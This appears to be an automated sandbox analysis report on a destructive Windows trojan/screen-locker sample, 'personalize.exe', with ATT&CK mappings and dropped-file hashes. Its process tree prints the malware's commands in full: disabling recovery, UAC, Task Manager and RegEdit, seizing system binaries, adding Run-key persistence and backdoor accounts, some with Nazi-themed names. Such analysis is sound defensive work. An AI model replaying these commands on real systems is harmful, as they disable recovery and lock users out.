80f8e854a1fddd3b1c6b5f81e86a7898f3f2bb9eac49ac43a96910d35a8f99f3

Analysis

max time kernel
67s
max time network
67s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
12/06/2024, 06:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
personalize.exe
Size 832KB
Sample240612-hrxe5stcpc
SHA256 80f8e854a1fddd3b1c6b5f81e86a7898f3f2bb9eac49ac43a96910d35a8f99f3
MD5 0a1cf3f463c22ad3f6ab051c9d0e5ae2
SHA1 dc445d69f42502309aec3ec48771ad5115e2b536
SHA512 b686ea98d205d6b35d2583dd9cc8ab9f35ccfa1216219058d188a216ff84f6f9a50d80c29a0bcbcd8c3442ae6c1a32fd5717d9c999ea02be96f6f631e9ec8387
SSDEEP 12288:StzE5elwLz9TrTGfNpwsK7kcCBnfgJZzaYnfmTNQe6m6rb9L9SN8isLpPRuZeWj5:StA4KdT3mK7kcuKzUunzrJg8LpIn5
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery evasion exploit persistence ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3008	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
2928	icacls.exe
3068	takeown.exe
1820	icacls.exe
2756	takeown.exe
1972	icacls.exe
2540	takeown.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1276	attrib.exe
2612	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
2636	colorcmd.exe
2812	screenmelt.exe

Loads dropped DLL 4 IoCs

pid	Process
2072	cmd.exe
2072	cmd.exe
2072	cmd.exe
2796	Process not Found

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3068	takeown.exe
1820	icacls.exe
2756	takeown.exe
1972	icacls.exe
2540	takeown.exe
2928	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows NT Personalization tool = "C:\\Windows\\System32\\winnt64.exe"	reg.exe

Drops file in System32 directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\winnt64.exe	cmd.exe
File opened for modification	C:\Windows\System32\screenmelt.exe	cmd.exe
File opened for modification	C:\Windows\System32\msiexec.exe	cmd.exe
File created	C:\Windows\system32\winnt64.exe	cmd.exe
File opened for modification	C:\Windows\System32\winnt64.exe	attrib.exe
File opened for modification	C:\Windows\System32\colorcmd.exe	cmd.exe
File opened for modification	C:\Windows\System32\taskmgr.exe	cmd.exe
File opened for modification	C:\Windows\System32\mmc.exe	cmd.exe
File created	C:\Windows\System32\colorcmd.exe	cmd.exe
File created	C:\Windows\System32\screenmelt.exe	cmd.exe
File created	C:\Windows\System32\mbr.exe	cmd.exe
File opened for modification	C:\Windows\System32\mbr.exe	cmd.exe
File opened for modification	C:\Windows\System32\mbr.exe	attrib.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Control Panel\Desktop\Wallpaper = "C:\\Windows\\Web\\winntcus64.png"	reg.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Web\winntcus64.png	cmd.exe
File opened for modification	C:\Windows\Web\winntcus64.png	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1392	timeout.exe
596	timeout.exe
2660	timeout.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{544F9921-2889-11EF-A7E9-D684AC6A5058} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2540	takeown.exe
Token: SeTakeOwnershipPrivilege	3068	takeown.exe
Token: SeTakeOwnershipPrivilege	2756	takeown.exe
Token: SeShutdownPrivilege	2160	shutdown.exe
Token: SeRemoteShutdownPrivilege	2160	shutdown.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1628	iexplore.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1628	iexplore.exe
1628	iexplore.exe
2012	IEXPLORE.EXE
2012	IEXPLORE.EXE
2392	IEXPLORE.EXE
2392	IEXPLORE.EXE
2780	IEXPLORE.EXE
2780	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2072	2220	personalize.exe	29
PID 2220 wrote to memory of 2072	2220	personalize.exe	29
PID 2220 wrote to memory of 2072	2220	personalize.exe	29
PID 2072 wrote to memory of 2652	2072	cmd.exe	30
PID 2072 wrote to memory of 2652	2072	cmd.exe	30
PID 2072 wrote to memory of 2652	2072	cmd.exe	30
PID 2072 wrote to memory of 2728	2072	cmd.exe	31
PID 2072 wrote to memory of 2728	2072	cmd.exe	31
PID 2072 wrote to memory of 2728	2072	cmd.exe	31
PID 2072 wrote to memory of 3008	2072	cmd.exe	32
PID 2072 wrote to memory of 3008	2072	cmd.exe	32
PID 2072 wrote to memory of 3008	2072	cmd.exe	32
PID 2072 wrote to memory of 2636	2072	cmd.exe	33
PID 2072 wrote to memory of 2636	2072	cmd.exe	33
PID 2072 wrote to memory of 2636	2072	cmd.exe	33
PID 2072 wrote to memory of 2812	2072	cmd.exe	34
PID 2072 wrote to memory of 2812	2072	cmd.exe	34
PID 2072 wrote to memory of 2812	2072	cmd.exe	34
PID 2072 wrote to memory of 1276	2072	cmd.exe	37
PID 2072 wrote to memory of 1276	2072	cmd.exe	37
PID 2072 wrote to memory of 1276	2072	cmd.exe	37
PID 2636 wrote to memory of 2512	2636	colorcmd.exe	38
PID 2636 wrote to memory of 2512	2636	colorcmd.exe	38
PID 2636 wrote to memory of 2512	2636	colorcmd.exe	38
PID 2072 wrote to memory of 2540	2072	cmd.exe	39
PID 2072 wrote to memory of 2540	2072	cmd.exe	39
PID 2072 wrote to memory of 2540	2072	cmd.exe	39
PID 2512 wrote to memory of 2912	2512	cmd.exe	40
PID 2512 wrote to memory of 2912	2512	cmd.exe	40
PID 2512 wrote to memory of 2912	2512	cmd.exe	40
PID 2072 wrote to memory of 2928	2072	cmd.exe	41
PID 2072 wrote to memory of 2928	2072	cmd.exe	41
PID 2072 wrote to memory of 2928	2072	cmd.exe	41
PID 2072 wrote to memory of 3068	2072	cmd.exe	42
PID 2072 wrote to memory of 3068	2072	cmd.exe	42
PID 2072 wrote to memory of 3068	2072	cmd.exe	42
PID 2072 wrote to memory of 1820	2072	cmd.exe	43
PID 2072 wrote to memory of 1820	2072	cmd.exe	43
PID 2072 wrote to memory of 1820	2072	cmd.exe	43
PID 2072 wrote to memory of 2756	2072	cmd.exe	44
PID 2072 wrote to memory of 2756	2072	cmd.exe	44
PID 2072 wrote to memory of 2756	2072	cmd.exe	44
PID 2072 wrote to memory of 1972	2072	cmd.exe	45
PID 2072 wrote to memory of 1972	2072	cmd.exe	45
PID 2072 wrote to memory of 1972	2072	cmd.exe	45
PID 2072 wrote to memory of 1292	2072	cmd.exe	46
PID 2072 wrote to memory of 1292	2072	cmd.exe	46
PID 2072 wrote to memory of 1292	2072	cmd.exe	46
PID 2072 wrote to memory of 1700	2072	cmd.exe	47
PID 2072 wrote to memory of 1700	2072	cmd.exe	47
PID 2072 wrote to memory of 1700	2072	cmd.exe	47
PID 2072 wrote to memory of 744	2072	cmd.exe	48
PID 2072 wrote to memory of 744	2072	cmd.exe	48
PID 2072 wrote to memory of 744	2072	cmd.exe	48
PID 2072 wrote to memory of 2612	2072	cmd.exe	49
PID 2072 wrote to memory of 2612	2072	cmd.exe	49
PID 2072 wrote to memory of 2612	2072	cmd.exe	49
PID 2072 wrote to memory of 2752	2072	cmd.exe	50
PID 2072 wrote to memory of 2752	2072	cmd.exe	50
PID 2072 wrote to memory of 2752	2072	cmd.exe	50
PID 2072 wrote to memory of 2760	2072	cmd.exe	51
PID 2072 wrote to memory of 2760	2072	cmd.exe	51
PID 2072 wrote to memory of 2760	2072	cmd.exe	51
PID 2072 wrote to memory of 2784	2072	cmd.exe	52

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1276	attrib.exe
2612	attrib.exe

C:\Users\Admin\AppData\Local\Temp\personalize.exe
"C:\Users\Admin\AppData\Local\Temp\personalize.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1DFC.tmp\1DFD.tmp\1DFE.bat C:\Users\Admin\AppData\Local\Temp\personalize.exe"
  2⤵
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\choice.exe
    choice /c yn /n /m ""
    3⤵
    PID:2652
- - C:\Windows\system32\choice.exe
    choice /c yn /n /m ""
    3⤵
    PID:2728
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3008
- - C:\Users\Admin\downloads\colorcmd.exe
    C:\Users\Admin\downloads\colorcmd.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5B88.tmp\5B89.tmp\5B8A.bat C:\Users\Admin\downloads\colorcmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2512
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fullscr.vbs"
        5⤵
        
        PID:2912
- - C:\Users\Admin\downloads\screenmelt.exe
    C:\Users\Admin\downloads\screenmelt.exe
    3⤵
    - Executes dropped EXE
    PID:2812
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\Windows\System32\mbr.exe
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:1276
- - C:\Windows\system32\takeown.exe
    takeown /F "C:\Windows\system32\taskmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2540
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\taskmgr.exe" /grant everyone:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2928
- - C:\Windows\system32\takeown.exe
    takeown /F "C:\Windows\system32\mmc.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3068
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\mmc.exe" /grant everyone:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1820
- - C:\Windows\system32\takeown.exe
    takeown /F "C:\Windows\system32\msiexec.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2756
- - C:\Windows\system32\icacls.exe
    icacls "C:\windows\system32\msiexec.exe" /grant everyone:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Windows\Web\winntcus64.png" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:1292
- - C:\Windows\system32\rundll32.exe
    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:744
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\Windows\System32\winnt64.exe
    3⤵
    - Sets file to hidden
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows NT Personalization tool" /T REG_SZ /F /D "C:\Windows\System32\winnt64.exe"
    3⤵
    - Adds Run key to start application
    PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2760
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
    3⤵
    PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    PID:2880
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoThemesTab /t REG_DWORD /d 1 /f
    3⤵
    PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
    3⤵
    PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 1 /f
    3⤵
    PID:1228
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
    3⤵
    PID:1824
- - C:\Windows\system32\net.exe
    net user /add NTCUS ntcus123
    3⤵
    PID:288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add NTCUS ntcus123
      4⤵
      PID:272
- - C:\Windows\system32\net.exe
    net user /add NTUSER ntcus124
    3⤵
    PID:1752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add NTUSER ntcus124
      4⤵
      PID:1704
- - C:\Windows\system32\net.exe
    net user /add NTDAT ntpersonalize
    3⤵
    PID:1952
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add NTDAT ntpersonalize
      4⤵
      PID:2060
- - C:\Windows\system32\net.exe
    net user /add DC discord
    3⤵
    PID:2548
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add DC discord
      4⤵
      PID:1680
- - C:\Windows\system32\net.exe
    net user /add cfs belgium
    3⤵
    PID:2904
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add cfs belgium
      4⤵
      PID:2404
- - C:\Windows\system32\net.exe
    net user /add leopoldII belgium
    3⤵
    PID:2736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add leopoldII belgium
      4⤵
      PID:3024
- - C:\Windows\system32\net.exe
    net user /add SCHJIEAB rykn
    3⤵
    PID:1732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add SCHJIEAB rykn
      4⤵
      PID:1720
- - C:\Windows\system32\net.exe
    net user /add IZWYOKWYIEN rykn
    3⤵
    PID:764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add IZWYOKWYIEN rykn
      4⤵
      PID:768
- - C:\Windows\system32\net.exe
    net user /add asap asap
    3⤵
    PID:352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add asap asap
      4⤵
      PID:2292
- - C:\Windows\system32\net.exe
    net user /add REICHTANGLE ig1
    3⤵
    PID:1060
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add REICHTANGLE ig1
      4⤵
      PID:964
- - C:\Windows\system32\net.exe
    net user /add SIEGHEIL hitler
    3⤵
    PID:1860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user /add SIEGHEIL hitler
      4⤵
      PID:1140
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableLogonBackgroundImage /t REG_DWORD /d 1 /f
    3⤵
    PID:1360
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent" /v AccentColor /t REG_DWORD /d 0xFF0000 /f
    3⤵
    PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    PID:900
- - C:\Windows\system32\timeout.exe
    timeout /t 15 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1392
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.google.com/search?q=HAHAHAHAHAHA
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:1628
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2012
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:275461 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2392
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1628 CREDAT:472079 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2780
- - C:\Windows\system32\timeout.exe
    timeout /t 15 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:596
- - C:\Windows\system32\timeout.exe
    timeout /t 15 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2660
- - C:\Windows\system32\shutdown.exe
    shutdown /r /t 3 /c "id like to see you fix this lol"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2160

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2752

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

1DFE.bat

Path C:\Users\Admin\AppData\Local\Temp\1DFC.tmp\1DFD.tmp\1DFE.bat
Size 4KB
SHA256 a1e01b06beb49cc812002ba33f7639a054f0df0452de3674de89b81e85365dca
MD5 ae73045487daa7daa9552dbd8492b136
SHA1 cbb56c395471945b15fc7df23d3cef6cdfff71b7
SHA512 e3fdc979b8d7e934cf49dfc0746ee63f3a86c98230e466c754a99430122d99524e0745390b988b7ee6f2784e4ddb04564fd0ea8acabecec4539f804927964c8a
SSDEEP 96:kIP4x7GviGzaGfl4xXt9clW1qm8wnfRCpB32+J/k3:kIPk72iaaWsn
MD5 SHA1 SHA512 SSDEEP

Submit Download

5B8A.bat

Path C:\Users\Admin\AppData\Local\Temp\5B88.tmp\5B89.tmp\5B8A.bat
Size 126B
SHA256 fc696fd5b63c0cd7c675f1fcad5a6a3d2f60bb65bb9f2bd4a727ccd43e6c1b3c
MD5 a412e5b17e54ad50c7a450acb86831c6
SHA1 c324293c11c6dce917cdbc27e0bea9d9b2557ef1
SHA512 4e5f4670da3e97e73b422ca4ec2469dc556ed23e9ca8111d0845b830f5a880c38c363668185c5d27570c039cf5ff056421970476577d38b9916cb94021e9015a
MD5 SHA1 SHA512

Submit Download

fullscr.vbs

Path C:\Users\Admin\AppData\Local\Temp\fullscr.vbs
Size 46B
SHA256 f6ad35d703551325954e32d310600e325a6de3e93c1ad715ee32bf8fda04f21f
MD5 dc4049ee25067d29d0229eb1880cd19a
SHA1 90f4eae78f62be630c1609243d9771c36c1da40d
SHA512 14f0d7dea7fb187d2b74f2dab3f4621f644e577b34709b93e2a661ee3415c49af30b508a0e7702aa654659c3061b98f9c58d6fffaf94003f101107b35f17a724
MD5 SHA1 SHA512

Submit Download

user.bmp

Path C:\Users\Admin\Downloads\user.bmp
Size 7KB
SHA256 63d356735b63778fdf39861fe03155e3766bcab0825074d72a540d1a309e12fe
MD5 bce2c2fff9af8eb17db5fb8ec2f8468c
SHA1 b509ac36b55378e6cb985b5b6361bc7e6ff09c64
SHA512 22baf89fc7b249e3fad8ffdeb6a67316e0a28b8e9a2e10cccca0ab99c31a40e8c2836b876ce3501706196d2303b88b52cc29e107b894eb9d3b1addbedfaf8d68
SSDEEP 192:RTZ9IAH9KUuYBDI7GdFl0MsnnZbhCbcHpbmE2c:RN9rH4ZYS6d30XnZbVpbm+
MD5 SHA1 SHA512 SSDEEP

Submit Download

colorcmd.exe

Path C:\Users\Admin\downloads\colorcmd.exe
Size 122KB
SHA256 31dee760b868645ad0f4e7270ec54942d01b1a7df769f04e52948b32e681a346
MD5 f07ad62ffe36c3350f14186618dffea4
SHA1 01372c5536edd2c0ad51df9d3cf51237f122384f
SHA512 3302acab75c14295ab9aadde5d25d8ffc7795e1e15357614692489a6e0edf86d2f5e464917251834d27b3ad95f262d3bc3088479a957fe2bf691b1066ced6406
SSDEEP 3072:c/25jvDSgsqsb5Uh28vAbTV1WW69B9VjMdxPedN9ug0z9TBfFSk3:/tzsb5Uh28+V1WW69B9VjMdxPedN9ug+
MD5 SHA1 SHA512 SSDEEP

Submit Download

mbr.exe

Path C:\Users\Admin\downloads\mbr.exe
Size 47KB
SHA256 ea5d21e6598d52b30e9d055bc406c6227bbadb5c493addb27b32fb16a6dcae8c
MD5 8562ed46d745dceb3cc268693ca25c83
SHA1 309067f0c9703084654495a47e67f7a40824700d
SHA512 52f23e70f7ea6eab1a50a4008e563d787732f7361dfe10c48f39dae42bce023c90449c9a903733fab13c49b50f8c4fa7d4864ab26c69326aab0149c765fd677b
SSDEEP 768:9yLqzcQ8zwtHEBbGoaPbs9IKRQ5qo2GLQdJEE4ztOyjg5YCtKO:cLqzcQ5kJxWpKRfzdJsIyjg57K
MD5 SHA1 SHA512 SSDEEP

Submit Download

mmc.exe

Path C:\Users\Admin\downloads\mmc.exe
Size 116KB
SHA256 584c00a54afbf23413fd3d39a06d07c0ae811965e5670ebc5d8abad70a594ce5
MD5 1568445f077482ac1d17a82403236a50
SHA1 ab42cb00af4f08629c30af053325e0bc3332659b
SHA512 83941d9ec3e89d4301405800afc3140e3406cbf2d405e1fe886136ecb669375fcd9e2adfdfeb897c4603d8220db374e63444608accd8ba4ba3a7dbd7aac0d6ca
SSDEEP 3072:jhM2idhON/D8259BH1DzJ5PzVNtGgc+F9TBfV0swz0:jh3idhONY259BH1DzJ5PzVNtGgc+F9Tz
MD5 SHA1 SHA512 SSDEEP

Submit Download

msiexec.exe

Path C:\Users\Admin\downloads\msiexec.exe
Size 210KB
SHA256 79b1ba6b9959dfe0289ff1182cf2ecb130f8568dd67a4fec6b6b8464dbfb4446
MD5 a968951f4f6aeec3eb1aa67b82fdcee9
SHA1 52d40548aaed7604709f78da62f7c22810e05cf3
